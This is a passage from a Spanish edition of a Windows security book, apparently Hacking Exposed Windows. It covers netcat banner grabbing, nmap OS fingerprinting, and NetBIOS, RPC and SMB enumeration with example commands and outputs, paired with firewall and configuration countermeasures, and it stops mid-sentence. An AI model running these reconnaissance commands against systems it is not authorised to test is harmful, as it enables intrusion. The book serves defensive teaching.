sent 19, rcvd 300: NOTSOCK
En lugar de recordar sintaxis posiblemente complejas para cada servicio, basta con que la
escriba en un archivo de texto y la redirija a un socket de netcat. Por ejemplo, tome el comando
HEAD / HTTP/1.0 [CRLF][CRLF] y escríbalo en un archivo llamado head.txt. Luego simple-
mente redireccione head.txt a través de un socket abierto de netcat así:
c:\>nc –vv victima.com 80 < head.txt
El resultado es exactamente el mismo que escribir los comandos una vez que la conexión está
abierta.
Contramedidas ante la obtención de anuncios

Si es posible, cambie el anuncio presentado por los servicios a los que debe accederse desde la
red. Por ejemplo, el filtro gratuito de ISAPI de Microsoft llamado URLScan puede cambiar el en-
cabezado IIS HTTP empleando la configuración AlternateServerName=. Como opción pre-
determinada, esta configuración está en blanco; también tendrá que asegurarse que el parámetro
RemoveServerHeader esté establecido en 0. Por ejemplo, puede establecer AlternateSer-
verName en Apache/2.0.26 (Linux) o Apache/1.3.20 (UNIX) para alejar a los posibles atacantes.
Alguien podría debatir las bondades de hacer cambios a la configuración que pudieran re-
ducir el rendimiento o la estabilidad simplemente para ocultar el hecho de que un servidor está
ejecutando un paquete de software conocido (un hecho que suele descubrirse rápidamente al
revisar el tipo de información que está sirviendo; por ejemplo, las páginas activas de servidor
indican en buena medida que el servidor es IIS). Sin embargo, hordas de hackers y usuarios de
secuencias de comandos a menudo rastrean Internet usando herramientas automatizadas para
buscar e identificar versiones de software específicas para probar la última novedad de los hac-
kers. Estas secuencias de comandos a menudo disparan el anuncio del servidor. Si los anuncios
de su servidor son diferentes, tal vez caiga bajo este radar.
También debe considerar fuertemente la colocación de una advertencia en anuncios de ser-
vicio personalizados. Esta advertencia debe establecer de manera explícita que los usuarios no
03_SCAMBRAY_03.indd 68 7/28/08 8:44:45 PM

autorizados del sistema serán perseguidos de acuerdo con la ley y que cualquier uso indica con-
sentimiento de que se le monitoree y que se registren sus actividades.
Detección de sistema operativo mediante

rastreo de huellas de pilas TCP/IP
Si se encuentra que un servicio TCP está disponible mediante el rastreo de puertos, el sistema
operativo de una máquina de destino también puede detectarse con sólo enviar una serie de pa-
quetes TCP al servicio de escucha y ver qué devuelve. Debido a las sutiles diferencias en la im-
plementación de TCP/IP entre varios sistemas operativos, esta técnica simple puede identificar
de manera muy confiable el sistema operativo remoto. Por desgracia, algunas variaciones sobre
esta técnica usan paquetes que no cumplen con RFC y podrían causar resultados inesperados en
el sistema de destino (hasta la falla completa del sistema, e incluida ésta), pero métodos más re-
cientes son muy seguros. La llamada detección de huellas de pila “pasiva” también puede reali-
zarse usando espionaje de red, para examinar comunicaciones de red que van y vienen del host.
Un análisis a profundidad de la detección de huellas de pila TCP/IP está fuera del alcance de
este libro, pero hemos incluido algunos vínculos con más información en la sección “Referencia
y lecturas adicionales”.
Nmap puede realizar detección de huellas de pila TCP/IP si especifica la opción –A, que ha-
bilita la detección del sistema operativo. En el siguiente ejemplo se muestra la característica de
detección de sistema operativo de nmap en acción contra un controlador de dominio predeter-
minado Longhorn Server Build 1716 (se ha eliminado parte de la salida para mayor claridad).
¡Nmap es muy bueno para adivinar el sistema operativo!
C:\>nmap -P0 -A 192.168.234.220
Starting Nmap 4.20 ( http://insecure.org ) at 2007-03-11 21:09 Pacific Daylight

Time
1 service unrecognized despite returning data. If you know the service/version,

please submit the following fingerprint at http://www.insecure.org/cgi-bin/servi
cefp-submit.cgi :
SF-Port53-TCP:V=4.20%I=7%D=3/11%Time=45F4D2AB%P=i686-pc-windows-windows%r(
SF:DNSVersionBindReq,4E,""\0L\0\x06\x05\0\0\x01\0\x01\0\0\0\0\x07version\x0
SF:4bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x01X\x02\0\0\0\""!Microsoft\x20DNS\x
SF:206\.0\.6001\x20$1771404E$"");
MAC Address: 00:0C:29:28:6C:33 (VMware)
Device type: general purpose
Running (JUST GUESSING) : Microsoft Windows Vista (85%)
Aggressive OS guesses: Microsoft Windows Vista Beta 2 (Build 5472) (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime: 0.114 days (since Sun Mar 11 18:28:05 2007)
Network Distance: 1 hop
Service Info: OS: Windows
PALABRAS FINALES SOBRE RECOPILACIÓN

DE INFORMACIÓN Y RASTREO
He aquí unas ideas finales antes de que cerremos el capítulo sobre recopilación de información
y rastreo.
03_SCAMBRAY_03.indd 69 7/28/08 8:44:46 PM

Debido a la facilidad de “disparar y olvidar” de herramientas como ScanLine, la importan-

cia crítica de la recopilación de información y del rastreo puede pasarse por alto cuando se au-
ditan sus propios sistemas empleando la metodología analizada en este libro. No cometa ese
error, toda la metodología está construida sobre la información obtenida en los primeros dos pa-
sos y un esfuerzo débil aquí minará todo el proceso. Después de todo, un solo sistema o servicio
que se pase por alto puede ser su ruina.
Una vez dicho esto, no tire por la borda la exactitud. Las redes son, por naturaleza, entidades
dinámicas y probablemente cambiarán pocas horas después de que haga su primer rastreo
de puertos. Por tanto, es importante que realice una recopilación de información y un rastreo de
manera regular y que monitoree los cambios con cuidado. Si la carga de mantener un riguroso
calendario de evaluación es demasiado para su organización, considere una herramienta de ad-
ministración de vulnerabilidades automatizada, un servicio administrado, o ambos. Manejará
todos los detalles para que usted no tenga que hacerlo.
Hablando de esas herramientas y servicios, es importante destacar que lo que pretendimos
en este capítulo fue simplemente proporcionar una introducción a los conceptos básicos relacio-
nados con la auditoría de seguridad en la red. Aunque en este capítulo hemos ilustrado muchas
herramientas y técnicas empleando métodos manuales, la mayoría de los practicantes de la se-
guridad de hoy en día emplean rastreadores de vulnerabilidades especializados que automati-
zan toda la funcionalidad que hemos demostrado. Más aún, estas nuevas herramientas irán más
allá de la simple identificación de hosts y servicios y realizarán validación automatizada de vul-
nerabilidades. Las herramientas modernas también pueden rastrear la capa de la aplicación en
busca de lo que una vez se consideró que eran vulnerabilidades lógicas personalizadas difíciles
de validar. A medida que el mercado de la tecnología ha madurado, regulaciones industriales y
gubernamentales en evolución, como el estándar de seguridad de datos de la industria del pago
con tarjeta (PCI DSS, Payment Card Industry Data Security Standard), también han impulsado
el aumento de la estandarización, al punto en que el rastreo de la seguridad se considera ahora
un artículo de primera necesidad que tiene un precio de unos dólares por host rastreado. Si está
haciendo evaluaciones de seguridad de cualquier escala de manera regular, le recomendamos
encarecidamente que investigue las herramientas y los servicios de rastreo más recientes para su
incorporación en su programa o práctica de seguridad más amplios.
RESUMEN
En este capítulo, hemos identificado varios hosts y servicios de Windows, aunque otros adicio-
nales pueden permanecer sin descubrir detrás de enrutadores y firewalls. El siguiente paso con-
siste en probar aún más estos servicios.

Herramientas gratuitas
Sam Spade http://samspade.org
Nmap www.insecure.org/nmap
03_SCAMBRAY_03.indd 70 7/28/08 8:44:47 PM

Google www.google.com
SuperScan www.foundstone.com/us/resources/proddesc/
superscan4.htm
ScanLine www.foundstone.com/us/resources-free-tools.asp
Netcat winhackingexposed.com/nc.zip
Interfaz Web whois de ARIN (también www.arin.net/whois
busque RIPE y APNIC para información de
Internet que no pertenece a Estados
Unidos)
Asignaciones de número de puerto de www.iana.org/assignments/port-numbers
IANA
Detección de sistema operativo insecure.org/nmap/osdetect/
Hacking Exposed: Network Security Secrets por Stuart McClure, Joel Scambray y George Kurtz,
and Solutions, 5a. Edición McGraw-Hill (2005)
03_SCAMBRAY_03.indd 71 7/28/08 8:44:47 PM

03_SCAMBRAY_03.indd 72 7/28/08 8:44:47 PM
capítulo 4
c i ó n
enu mera
73
04_SCAMBRAY_04.indd 73 7/28/08 8:50:50 PM

S
uponiendo que la recolección o recopilación de información y el rastreo no han ofrecido
ninguna avenida inmediata para la conquista, un atacante pasará enseguida a identificar
información más detallada acerca de las posibles víctimas, incluidos nombres de cuenta de
usuario válidos o recursos compartidos mal protegidos. Pueden usarse muchos métodos para
extraer esta información de Windows, proceso al que llamamos enumeración.
La diferencia clave entre las técnicas de acopio de información analizadas y la enumeración
está en el nivel de la intrusión: la enumeración incluye conexiones activas a los sistemas y con-
sultas dirigidas (entre algunas excepciones podría incluirse la enumeración pasiva a través del
perfilado de pila IP o el espionaje (olfateo) en modo promiscuo). Como tales, pueden (¡y deben!)
registrarse u observarse de otra manera. Le mostraremos lo que debe buscar y cómo bloquearlo,
si es posible.
Mucha de la información reunida mediante la enumeración podría parecer inofensiva, a pri-
mera vista. Sin embargo, la información que se fuga por los siguientes agujeros puede ser su
ruina, como trataremos de ilustrar en este capítulo. En general, una vez que se enumera un nom-
bre de usuario o un recurso compartido, sólo es cuestión de tiempo antes de que el intruso adi-
vine la contraseña correspondiente o identifique alguna debilidad relacionada con el protocolo
de intercambio de recursos. Al elegir estos escapes de fácil corrección, se elimina el primer pun-
to de apoyo del hacker malicioso.
Nuestro análisis de la enumeración de Windows se concentrará en los siguientes temas:
• Enumeración del servicio de nombres de NetBIOS

• Enumeración de la llamada a procedimiento remoto de Microsoft (MSRPC, Microsoft
Remote Procedure Call)
• Enumeración del bloque de mensajes de servidor (SMB, Server Message Block)
• Enumeración del sistema de nombres de dominio (DNS, Domain Name System)
• Enumeración del protocolo simple de administración de red (SNMP, Simple Network
Management Protocol)
• Enumeración de Active Directory
Primero, revisemos la información que hemos reunido hasta ahora para establecer cómo va-
mos a proceder.
PRELUDIO: REVISIÓN DE LOS RESULTADOS

DEL RASTREO
Las técnicas de enumeración son principalmente específicas del servicio y, por tanto, deben to-
marse como objetivo empleando la información reunida en el capítulo 3 mediante el rastreo de
puertos. En la tabla 4-1 se presenta una lista de los servicios clave que serán buscadas por ata-
cantes para enumeración.
De manera sistemática atacaremos esos servicios en las secciones siguientes, revelando in-
formación que le hará temblar, ¡y todo sin que se necesite autentificación!
Nombres de NetBIOS en comparación con direcciones IP

Recuerde que podemos usar información acerca de barridos de ping (consulte el capítulo 3) para
sustituir direcciones IP para nombres de NetBIOS de máquinas individuales. La dirección IP y
04_SCAMBRAY_04.indd 74 7/28/08 8:50:51 PM

Capítulo 4: Enumeración 75
Puerto Servicio
TCP 53 Transferencia de zona DNS
TCP 135 Mapeador de extremo RPC de Microsoft
UDP 137 Servicio de nombres de NetBIOS (NBNS)
TCP 139 Servicio de sesión de NetBIOS (SMB sobre NetBIOS)
TCP 445 SMB sobre TCP (host directo)
UDP 161 Protocolo simple de administración de red (SNMP)
TCP/UDP 389 Protocolo ligero de acceso a directorios (LDAP)
TCP/UDP 3268 Servicio de catálogo global
TCP 3389 Servicios de terminal
Tabla 4-1 Servicios de Windows que suelen estar bajo la mira de los ataques de enumeración
los nombres de NetBIOS son principalmente intercambiables (por ejemplo, \\192.168.202.5 pue-
de ser equivalente de \\NOMBRE_SERVIDOR). Por conveniencia, los atacantes con frecuencia
agregarán entradas apropiadas a su archivo %systemroot%\system32\drivers\etc\LMHOSTS,
junto con la sintaxis #PRE, y luego ejecuta nbtstat –R en una línea de comandos para recargar
la caché de la tabla de nombres. Entonces quedan liberados para usar el nombre de NetBIOS
en ataques futuros, y se mapearán de manera transparente a la dirección IP especificada en
LMHOSTS.
Esté al pendiente cuando establezca sesiones usando nombres de NetBIOS en comparación
con direcciones IP. Todos los comandos subsecuentes deben lanzarse contra el objetivo original.
Por ejemplo, si establece una sesión nula (consulte la siguiente sección) con \\192.168.2.5 y lue-
go intenta extraer información mediante esta sesión nula usando el nombre de NetBIOS del mis-
mo sistema, no obtendrá un resultado. Windows recuerda cuál nombre especificó, ¡aunque a
usted se le olvide!
¡Deshabilite y bloquee estos servicios!

No es necesario decir que una contramedida para todas las vulnerabilidades mencionadas en
este capítulo consiste en deshabilitar los servicios que aparecen en la lista de la tabla 4-1. Si no
puede deshabilitarlas por razones técnicas o políticas, le mostraremos con gran detalle cuán vul-
nerable es. También ilustraremos algunas contramedidas específicas para mitigar el riesgo de
ejecutar estos servicios. Sin embargo, si estos servicios se están ejecutando, sobre todo SMB (so-
bre NetBIOS o TCP) siempre estará expuesto a algún grado de riego.
Por supuesto, también es importante bloquear el acceso a esos servicios en las gateways de
red externa. Estos servicios están principalmente diseñados para existir en un entorno de red de
área local (LAN) no autentificada. Si están disponibles para Internet, sólo será cuestión de tiem-
po antes de que se llegue a un compromiso (está casi garantizado).
Al final, pero no por ello menos importante, está el uso de la defensa a profundidad. Tam-
bién configure las defensas basadas en host para bloquear el acceso a esos servicios. El Fire-
wall de Windows que se incluye con las versiones modernas de Windows es un estupendo
04_SCAMBRAY_04.indd 75 7/28/08 8:50:53 PM

mecanismo basado en host para lograr esto, y la configuración predeterminada por lo general
bloquea estos servicios de manera predeterminada (esté consciente de que la actualización a ver-
siones más recientes de Windows puede dejar intacta la configuración heredada).
En Vista y Windows Server 2008, el Firewall de Windows viene preconfigurado para blo-
quear casi toda la conectividad entrante usando el perfil Público (los perfiles Privado y Dominio
permiten más servicios). Además, tome en cuenta que con el firewall de Windows en Vista y
posteriores, puede filtrar conexiones seguras (es decir, las que se originan a partir de usuarios o
equipos específicos y se autentifican o cifran utilizando IPSec), además de direcciones IP. Más
aún, estas características pueden controlarse empleando Directivas de Grupo entre dominios de
Windows. En la figura 4-1 se muestran las opciones de configuración del Firewall de Windows
para filtrar conexiones entrantes al servicio de nombres de NetBIOS (NBNS), que es uno de los
servicios contra los que demostraremos ataques en este capítulo.
Sugerencia
En Vista y Windows Server 2008, para obtener acceso a las configuraciones avanzadas del firewall,
cárguelo con el complemento Seguridad avanzada de la MMC (Inicio | Ejecutar | “wf.msc”) en lugar
de la applet Firewall de Windows predeterminada en el Panel de control. Esto le dará visibilidad y
control sobre las reglas del Firewall actual y otras configuraciones administrativas.
Figura 4-1 Opciones del Firewall de Vista (con Seguridad avanzada) para filtrar servicios entrantes
(en este ejemplo, NBNS)
04_SCAMBRAY_04.indd 76 7/28/08 8:50:54 PM

ENUMERACIÓN DEL SERVICIO DE NOMBRES DE NETBIOS

Lo primero que un atacante remoto probará en una red de Windows bien explorada es darse una
idea de lo que hay en el cable. Debido a que Windows aún es dependiente de NBNS (UDP 137),
como opción predeterminada, en ocasiones llamamos a estas actividades “enumeración del ca-
ble de NetBIOS”. Hay muchas herramientas y técnicas disponibles para conectarse al cable de
NetBIOS (¡en realidad, casi todas están integradas en los diversos sistemas operativos de Win-
dows!). Analizaremos esto en primer lugar y luego pasaremos a herramientas de terceros. Guar-
daremos el análisis de las contramedidas hasta el final, porque corregir esto es más bien simple
y puede manejarse en una sola caída en picada.
Enumeración de dominios con Net View

Popularidad: 9
Simplicidad: 10
Impacto: 2
El comando net view es un estupendo ejemplo de una herramienta de enumeración inte-

grada. Net view es una utilería de línea de comandos extremadamente simple que presentará
listas de dominios disponibles en la red y luego mostrará todas las máquinas en el dominio. He
aquí cómo enumerar dominios en la red usando net view:
C:\>net view /domain

Dominio
CORLEONE
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
COLICOLI
Se ha completado el comando correctamente.
Al proporcionar un argumento al interruptor /domain se presentarán listas de todos los

equipos en un dominio determinado, como se muestra a continuación:
C:\>net view /domain:corleone

Servidor Comentario
\\VITO Hazle una oferta que no pueda rechazar

\\MICHAEL Nada personal
\\SONNY Badda bing bada boom
\\OSCLUDO Soy inteligente
\\PURPUCONE No olviden las dufclos
En el caso de la línea de comandos desafiada, el Entorno de red muestra, en esencia, la mis-

ma información de estos comandos. Sin embargo, debido a la lentitud de las actualizaciones a la
lista de exploración, consideramos que las herramientas de línea de comandos son más concisas
y confiables.
04_SCAMBRAY_04.indd 77 7/28/08 8:50:56 PM

Volcado de la tabla de nombres de NetBIOS con Nbtstat y Nbtscan

Popularidad: 8
Simplicidad: 9
Impacto: 1
Otra estupenda herramienta integrada es nbtstat, que llama a la tabla de nombres de Net-
BIOS desde un sistema remoto. La Tabla de nombres contiene una gran cantidad de informa-
ción, como se muestra en el siguiente ejemplo:
C:\>nbtstat -A 192.168.202.33
Conexión de área local:
Dirección IP: [192.168.234.244] Id. de ámbito : [ ]
NetBIOS Remote Machine Name Table
Nombre Tipo Estado
CAESARS <00> Único Registrado

VEGAS2 <00> Grupo Registrado
VEGAS2 <1C> Grupo Registrado
CAESARS <20> Único Registrado
VEGAS2 <1B> Único Registrado
VEGAS2 <1E> Grupo Registrado
VEGAS2 <1D> Único Registrado
..__MSBROWSE__.<01> Grupo Registrado
Dirección MAC = 00-01-03-27-93-8F
Como se muestra, nbtstat extrae el nombre del sistema (CAESARS), el dominio o grupo de
trabajo en que se encuentra (VEGAS2) y la dirección de control de acceso a medios (MAC, Media
Access Control). Estas entidades pueden identificarse por sus sufijos de NetBIOS (el número
hexadecimal de dos dígitos que se encuentra a la derecha del nombre), que aparecen en la lista
de la tabla 4-2.
Versiones anteriores de Windows entregarían información acerca de cualquier usuario que
haya iniciado sesión en la salida de nbtstat. Como opción predeterminada en versiones más re-
cientes de Windows, el servicio Messenger está deshabilitado, por lo que la salida de nbtstat ya
no contiene esta información. Como puede ver en la tabla 4-2, los usuarios que han iniciado se-
sión normalmente tendrían una entrada en la tabla de nombres de NetBIOS para el servicio de
Messenger (vea la fila que empieza con <nombreusuario>). Debido a que este servicio está desha-
bilitado como opción predeterminada en versiones más recientes de Windows, la tabla de nom-
bres de NetBIOS no puede usarse para validar la identidad de nombres de cuenta en el
servidor.
04_SCAMBRAY_04.indd 78 7/28/08 8:50:56 PM

Tipo de
Nombre de NetBIOS Sufijo nombre Servicio
<nombre equipo> 00 U Estación de trabajo
<nombre equipo> 01 U Messenger (para mensajes enviados a
este equipo)
<_MS_BROWSE_> 01 G Explorador principal
<nombre equipo> 03 U Messenger
<nombre equipo> 06 U Servidor RAS
<nombre equipo> 1F U NetDDE
<nombre equipo> 20 U Servidor
<nombre equipo> 21 U Cliente RAS
<nombre equipo> 22 U Intercambio de MS Exchange
<nombre equipo> 23 U Almacén de MS Exchange
<nombre equipo> 24 U Directorio de MS Exchange
<nombre equipo> 30 U Servidor compartido de módem
<nombre equipo> 31 U Cliente compartido de módem
<nombre equipo> 43 U Control remoto de clientes de SMS
<nombre equipo> 44 U Herramienta de control remoto de SMS
<nombre equipo> 45 U Chat remoto de cliente de SMS
<nombre equipo> 46 U Transferencia remota de cliente de SMS
<nombre equipo> 4C U DEC Pathworks TCPIP
<nombre equipo> 52 U DEC Pathworks TCPIP
<nombre equipo> 87 U MTA de MS Exchange
<nombre equipo> 6A U Agente de Netmon
<nombre equipo> BF U Aplicación de Netmon
<nombreusuario> 03 U Servicio de Messenger (para mensajes
enviados a este usuario)
Tabla 4-2 Sufijos de NetBIOS con tipos y servicios de nombre asociados
04_SCAMBRAY_04.indd 79 7/28/08 8:50:57 PM

Tipo de
Nombre de NetBIOS Sufijo nombre Servicio
<nombre dominio> 00 G Nombre de dominio
<nombre dominio> 1B U Explorador maestro de dominio
<nombre dominio> 1C G Controladores de dominio
<nombre dominio> 1D U Explorador maestro
<nombre dominio> 1E G Elecciones de servicio de explorador
<INet~Services<ISA>> 1C G IIS
<IS-nombre equipo> 00 U IIS
<nombre dominio> 2B U Servidor de Lotus Notes
IRISMULTICAST 2F G Lotus Notes
IRISNAMESERVER 33 G Lotus Notes
Tabla 4-2 Sufijos de NetBIOS con tipos y servicios de nombre asociados (continuación)
Esta salida tampoco muestra información sobre servicios en ejecución. En Windows 2000, un
sistema que ejecuta IIS por lo general muestra la entrada INet~Services en su tabla. La salida se
tomó de un sistema 2003 que ejecuta IIS, pero esta información no aparece. No estamos seguros
de cuál es la raíz de este comportamiento, pero es un cambio de seguridad bienvenido, porque
proporciona menos información a los posibles intrusos.
La columna Tipo de nombre de la tabla 4-2 también tiene importancia, como se muestra en
la tabla 4-3.
Tipo de nombre de NetBIOS Descripción

Único (U) El nombre sólo puede tener asignada una
dirección IP.
Grupo (G) Un nombre único, pero podría existir con
muchas direcciones IP.
Múltiple (M) El nombre es único pero podría existir en
muchas interfaces del mismo equipo.
Tabla 4-3 Tipos de nombre de NetBIOS
04_SCAMBRAY_04.indd 80 7/28/08 8:50:58 PM

Rastreo de tablas de nombres de NetBIOS con Nbtscan

Popularidad: 5
Simplicidad: 8
Impacto: 2
La utilería nbtstat tiene dos desventajas: está restringida a operar en un solo host a la vez, y tiene
una salida más bien inescrutable. Ambos problemas son atendidos por la herramienta gratuita
nbtscan de Alla Bezroutchko. Nbtscan usará “nbtstat” en toda una red con asombrosa rapidez y
formará la salida de manera adecuada:
C:\>nbtscan 192.168.234.0/24
Doing NBT name scan for adresses from 192.168.234.0/24
IP address NetBIOS Name Server User MAC address

----------------------------------------------------------------------
192.168.234.31 PRNTSRV <server> PRINT 00-50-da-30-1e-0f
192.168.234.34 LAPTOP <server> <unknown> 00-b0-d0-56-bf-d4
192.168.234.43 LUXOR <server> <unknown> 00-01-03-24-05-7e
192.168.234.44 LUXOR <server> <unknown> 00-02-b3-16-db-2e
192.168.234.46 CAESARS <server> <unknown> 00-d0-b7-1f-e8-b0
Observe en esta salida que sólo el servidor PRNTSRV indica un usuario con sesión iniciada. Es
el único equipo de Windows 2000 que escucha en la salida, resaltando nuestra exposición ante-
rior de que los nombres de cuenta ya no se mostrarán en las tablas de nombres de NetBIOS como
opción predeterminada en una versión más reciente de Windows. En cualquier caso, nbtscan es
una estupenda manera de encontrar los hosts que ejecutan Windows en una red. Trate de ejecu-
tarlo contra su red de clase C favorita, y verá lo que significa. Puede lograr resultados erráticos
al ejecutarlo contra Internet debido a los caprichos de NBNS sobre Internet.
Enumeración de los controladores de dominio de Windows

Popularidad: 6
Simplicidad: 7
Impacto: 2
Para profundizar un poco más en la estructura de red de Windows, necesitaremos usar una
de las herramientas de soporte de Windows Server 2003. (Instálela del directorio \support\tools
del CD-ROM de Windows Server 2003). En el siguiente ejemplo, verá cómo la herramienta
04_SCAMBRAY_04.indd 81 7/28/08 8:50:59 PM

llamada nltest identifica a los controladores de dominio (los guardianes de las credenciales de
autentificación de red de Windows) en un dominio de Windows.
C:\>nltest /dclist:vegas2
Get list of DCs in domain 'vegas2' from '\\CAESARS'.
You don't have access to DsBind to vegas2 (\\CAESARS)
(Trying NetServerEnum).
List of DCs in Domain vegas2
\\CAESARS (PDC)
The command completed successfully
Contramedidas ante la enumeración de redes de NetBIOS

Todas las técnicas anteriores operan sobre el servicio de nombres de NetBIOS, UDP 137. (Tome
en cuenta que el comando nltest también probará los servicios relacionados con directorios como
LDAP). La mejor manera de evitar estas actividades es bloqueando el acceso a esos puertos
usando un enrutador, una firewall u otro portero de red. En el nivel del host, configure el Fi-
rewall de Windows o los filtros IPSec de Windows, o instale alguna otra funcionalidad de filtra-
do basada en host. En Vista, el perfil Público del Firewall de Windows viene preconfigurado con
una regla de entrada de NBNS, pero está deshabilitada como opción predeterminada, de modo
que todos los ataques descritos en esta sección están bloqueados.
Si debe permitir el acceso a NBNS, la única manera de evitar que los datos del usuario apa-
rezcan en los volcados de la tabla de nombres de NetBIOS consiste en deshabilitar los servicios
Alertas y Messenger en hosts individuales. El comportamiento de inicio para estos servi-
cios puede configurarse a través de la opción Servicios del Panel de control. Como ya lo hemos
indicado antes, estos servicios están deshabilitados como opción predeterminada en versiones
más nuevas de Windows.
ENUMERACIÓN DE RPC
Cerca del servicio de nombres de NetBIOS, en el panteón de los servicios de Windows suscepti-
bles a la enumeración, se encuentra un mapeador de extremos de RPC de Microsoft en el puerto
TCP 135. Los analizaremos con usted de antemano y observará que la información reunida me-
diante MSRPC no está a la par de la reunida a partir de SMB (consulte la sección “Enumeración
de SMB”, más adelante en este capítulo), pero este servicio casi siempre se encuentra en redes de
Windows e incluso puede exponerse en Internet para aplicaciones como Exchange.
Enumeración de RPC
Popularidad: 7
Simplicidad: 8
Impacto: 1
La consulta de los servicios de mapeo de puertos RPC en máquinas UNIX ha sido una técni-
ca de hackeo probada con el tiempo. En Windows, al mapeador de puertos se le denomina
04_SCAMBRAY_04.indd 82 7/28/08 8:51:00 PM

mapeador de extremos RPC, y aunque la salida es mucho más compleja que el equivalente en
UNIX, el concepto es el mismo.
La herramienta epdump consulta el mapeador de extremos RPC y muestra la interfaz de ser-
vicio RPC unida a las direcciones IP y los números de puerto (aunque sea en un formato muy
poco trabajado). Esta herramienta ha funcionado durante tanto tiempo que no estamos seguros
de su origen, pero aún es efectiva (hemos truncado la siguiente salida de manera importante
para resaltar puntos clave):
C:\>epdump servername
binding is 'ncacn_ip_tcp:servername'
int 12345678-1234-abcd-ef00-0123456789ab v1.0
binding 0000@ncacn_ip_tcp:192.168.234.43[1025]
annot 'IPSec Policy agent endpoint'
int 3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
binding 0000@ncalrpc:[LRPC0000061c.00000001]
annot 'WinHttp Auto-Proxy Service'
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
binding 0000@ncacn_ip_tcp:192.168.234.43[1026]
annot ''
Lo que es importante observar en esta salida son los elementos int, que especifican interfaces
RPC y cada entrada binding y annot subsecuente. La unión especifica la dirección IP y el nú-
mero de puerto en que el extremo RPC está escuchando (ejemplo, 192.168.234.43[1025]),
y la anotación a menudo presenta el nombre común del extremo (por ejemplo, 'IPSec Policy
agent endpoint').
Entre las herramientas más recientes para volcar extremos de MSRPC se incluye rpcdump.
Hay varias versiones de rpcdump.exe. No se confunda con el rpcdump de David Litchfield (es-
crito alrededor de 1999), que es una herramienta para consultar el mapeador de puertos de
UNIX en TCP 111. Las otras dos versiones de rpcdump se usan para consultar MSRPC (uno des-
de el kit de recursos y otro escrito por Todd Sabin, que viene como parte de su suite de herra-
mientas de RPC). El rpcdump de Sabin agrega la capacidad de consultar cada servidor RPC
registrado para todas las interfaces que soporta mediante la llamada a la API RpcMgmtInqIfIds,
de modo que puede reportar información adicional a las interfaces que un servidor tiene regis-
tradas. La herramienta de Sabin es un poco más parecida a epdump, que escucha cada extremo
en secuencia. Rpcdump del Kit de recursos ordena en categorías su salida en tipos de interfaz,
lo que puede ayudar a diferenciar interfaces locales RPC de la red (una vez más, hemos trunca-
do en gran medida la salida aquí para resaltar la información relevante).
C:\>rpcdump /s servername
Querying Endpoint Mapper Database...
31 registered endpoints found.
ncacn_np(Connection-oriented named pipes)

\\SERVERNAME[\PIPE\protected_storage] [12345678]
IPSec Policy agent endpoint :NOT_PINGED
ncalrpc(Local Rpc)
[dsrole] [12345678] IPSec Policy agent endpoint
:NOT_PINGED
04_SCAMBRAY_04.indd 83 7/28/08 8:51:00 PM

ncacn_ip_tcp(Connection-oriented TCP/IP)
192.168.234.44[1025] [12345778] :NOT_PINGED
192.168.234.44[1026] [0a74ef1c] :NOT_PINGED
192.168.234.44[1026] [378e52b0] :NOT_PINGED
192.168.234.44[1026] [1ff70682] :NOT_PINGED
192.168.234.44[1025] [12345678] IPSec Policy agent
endpoint :NOT_PINGED
rpcdump completed sucessfully after 1 seconds
Notará que ninguna parte de la información develada en la salida es extraordinariamente

útil para un atacante. Dependiendo de los extremos RPC disponibles, podría ser posible mayor
manipulación. Por lo general, la información más útil en esta salida es la dirección IP interna de
sistemas de múltiples host, además de las direcciones IP virtuales hospedadas en el mismo ser-
vidor, que aparecen como uniones de interfaz de RPC. Estos datos pueden dar a los posibles in-
trusos una mejor idea del tipo de sistema con el que están tratando, incluidas aplicaciones RPC
que se están ejecutando, pero eso es todo.
Contramedidas ante la enumeración de RPC

La mejor defensa contra la enumeración de RPC es bloquear el acceso al servicio de mapeador
de extremos RPC (RPC-EPMAP) en TCP/UDP 135. Este servicio está disponible como opción
predeterminada en productos de Windows Server (incluido 2008), pero no en clientes; está blo-
queado como opción predeterminada en la configuración de Firewall de Windows en Vista por
la regla Administración remota (RPC-EPMAP) definida como opción predeterminada por los
perfiles Privado y Público del firewall.
El bloqueo inmediato de RPC-EPMAP puede resultar desafiante para organizaciones que
publican aplicaciones basadas en MSRPC en Internet, entre las cuales el principal ejemplo es Ex-
change, que debe tener accesible TCP 135 para clientes de la interfaz de programación de aplica-
ciones de mensajería (MAPI, Messaging Application Programming Interface). Entre algunas
soluciones alternas a esta situación se incluye el uso de acceso Web a Outlook (OWA, Outlook
Web Access) en lugar de MAPI, o el uso de RCP sobre HTTP (TCP 593). También podría consi-
derar el uso de una firewall o una red privada virtual (VPN, Virtual Private Network) para au-
tentificar previamente el acceso a RPC; aquí, una vez más, el Firewall de Windows integrada en
Vista y posteriores proporciona la opción preconfigurada.
Para obtener un control más fino sobre los canales con nombre a los que podrían acceder los
usuarios anónimos, elimine la entrada EPMAPPER del parámetro Acceso de red: canalizaciones
con nombre accesibles anónimamente al que se accede mediante la Directiva de seguridad.
No olvide que el mapeador de extremos sólo redirige a los clientes al puerto RPC apropiado
para una aplicación (recuerde que también debe bloquear el acceso a esos puertos). Consulte la
sección “Referencias y lecturas adicionales”, al final de este capítulo, para conocer un vínculo
con más información sobre la restricción a la asignación dinámica de extremos de servicio RPC.
ENUMERACIÓN DE SMB
A continuación, analizaremos la interfaz de Windows más enumerada, el bloque de mensajes de
servidor (SMB, Server Message Block), que es la base de los servicios de intercambio de archivos
e impresoras de Microsoft. En nuestro análisis de la enumeración de SMB, demostraremos la se-
sión nula, que es una técnica de enumeración clásica de todos los tiempos. La sesión nula permi-
te a un atacante anónimo extraer una gran cantidad de información acerca de un sistema (lo más
importante son los nombres de cuenta).
04_SCAMBRAY_04.indd 84 7/28/08 8:51:01 PM

Enumeración de SMB: sesiones nulas

Popularidad: 5
Simplicidad: 7
Impacto: 3
Uno de los talones de Aquiles más serios de Windows ha sido su dependencia predetermi-
nada de los protocolos de red de sistema común de archivos de Internet/bloque de mensajes de
servidor (CIFS/SMB, Common Internet File System/Server Message Block), a los que a partir de
ahora denominaremos SMB. Las especificaciones de SMB incluyen API que devuelven informa-
ción rica acerca de una máquina vía los puertos TCP 139 y 445, aun para usuarios no autentifica-
dos. El primer paso para acceder a estas API remotamente es la creación de este tipo de conexión
autentificada con un sistema de Windows al usar el denominado comando de “sesión nula”, su-
